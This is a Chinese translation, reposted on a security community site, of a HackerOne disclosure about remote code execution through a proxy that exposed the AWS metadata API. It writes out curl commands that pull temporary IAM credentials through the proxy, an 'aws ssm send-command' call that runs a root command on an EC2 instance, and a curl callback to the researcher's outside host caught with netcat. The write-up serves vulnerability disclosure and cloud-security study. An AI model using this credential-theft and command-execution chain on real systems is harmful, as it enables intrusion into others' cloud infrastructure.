AWS:代理服务器上的远程代码执行(hackerone漏洞报告)

admin 2022年7月5日22:08:13评论90 views字数 2021阅读6分44秒阅读模式

本文为翻译文章,原文地址:
https://hackerone.com/reports/401136


介绍


我在用于跟踪研究人员活动的代理服务上发现了这个远程代码执行 (RCE) 漏洞。这是我进一步了解 AWS 的机会,特别是 AWS EC2 Systems Manager 与开放元数据 API 相结合的危险。

出于礼貌,我在披露之前将这篇文章发送给了该组织。不幸的是,官方明确要求匿名披露,因此需要大量编辑。尽管省略了一部分细节,但我认为这篇文章仍是很有价值的。


漏洞细节


为了方便研究人员进行访问,某些程序的代理服务允许访问 AWS 的元数据 API。该元数据 API 又被配置为公开 AWS EC2 Run Command 角色的临时 AWS 访问凭证。当此角色由 AWS 客户端(例如 CLI)承担时,可以在 AWS EC2 实例上执行任意命令。


获取AWS密钥


首先,我们将使用 curl 并证明 AWS 元数据 API 是可访问的:


curl -vv http://169.254.169.254/latest/ -x '52.6.██.███:25603'


我们利用 curl 通过代理加载 AWS 的元数据 API。由于代理托管在 AWS 上,并且不会阻止到内部 IP 的流量(例如此 API),因此我们能够访问它。

要生成一对临时访问密钥,我们可以运行以下命令:


curl -vv http://169.254.169.254/latest/meta-data/iam/security-credentials/runCommand -x '52.6.██.███:25603'


这个runCommand角色很有趣,让我假设它被用于https://aws.amazon.com/ec2/run-command/。


配置 AWS CLI


首先需要安装一个AWS CLI,然后才能继续:

设置一下环境变量:


export AWS_ACCESS_KEY_ID=<"AccessKeyId" you exposed in the last cURL command>export AWS_SECRET_ACCESS_KEY=<"SecretAccessKey" you exposed in the last cURL commandt>export AWS_SESSION_TOKEN=<"Token" you exposed in the last cURL command>


现在,在同一个 shell 会话中,您应该能够通过 CLI 与多个 AWS 服务进行交互。


以root身份执行任意命令


由于角色名称是runCommand我立即选择了 AWS EC2 Systems Manager(特别是aws ssm send-command)。

配置访问密钥后,我运行以下 AWS CLI 命令来证明密钥确实具有足够的权限来执行任意命令:


aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1


在我的服务器上,我在端口 8080 ( nc -vvkl 8080) 上运行了一个 netcat 侦听器,以捕获传入的 curl 请求。

我还选择执行一个快速whoami命令并将其作为 curl HTTP 调用中的路径传递,这样我就可以快速确认什么类型的用户正在执行这些命令。

HTTP请求如下:


Connection from [52.73.██.██] port 8080 [tcp/http-alt] accepted (family 2, sport 45163)GET /root HTTP/1.1User-Agent: curl/7.35.0Host: 162.243.███.███:8080Accept: */*


这足以证明我可进行命令执行(这些命令以root身份执行的)。

请注意,我只在一个实例上尝试过此操作,但我希望该us-east-1区域中有更多实例允许执行这种类型的命令(并且可能还有其他区域中的实例)。



【火线Zone云安全社区群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

识别二维码回复【社区群】进群

AWS:代理服务器上的远程代码执行(hackerone漏洞报告)


【相关精选文章】


AWS:代理服务器上的远程代码执行(hackerone漏洞报告)


AWS:代理服务器上的远程代码执行(hackerone漏洞报告)


AWS:代理服务器上的远程代码执行(hackerone漏洞报告)

火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!

如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)


AWS:代理服务器上的远程代码执行(hackerone漏洞报告)

//  火线Zone //

微信号 : huoxian_zone


AWS:代理服务器上的远程代码执行(hackerone漏洞报告)

点击阅读原文,加入社区,共建一个有技术氛围的优质社区!

原文始发于微信公众号(火线Zone):AWS:代理服务器上的远程代码执行(hackerone漏洞报告)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月5日22:08:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AWS:代理服务器上的远程代码执行(hackerone漏洞报告)http://cn-sec.com/archives/1159665.html

发表评论

匿名网友 填写信息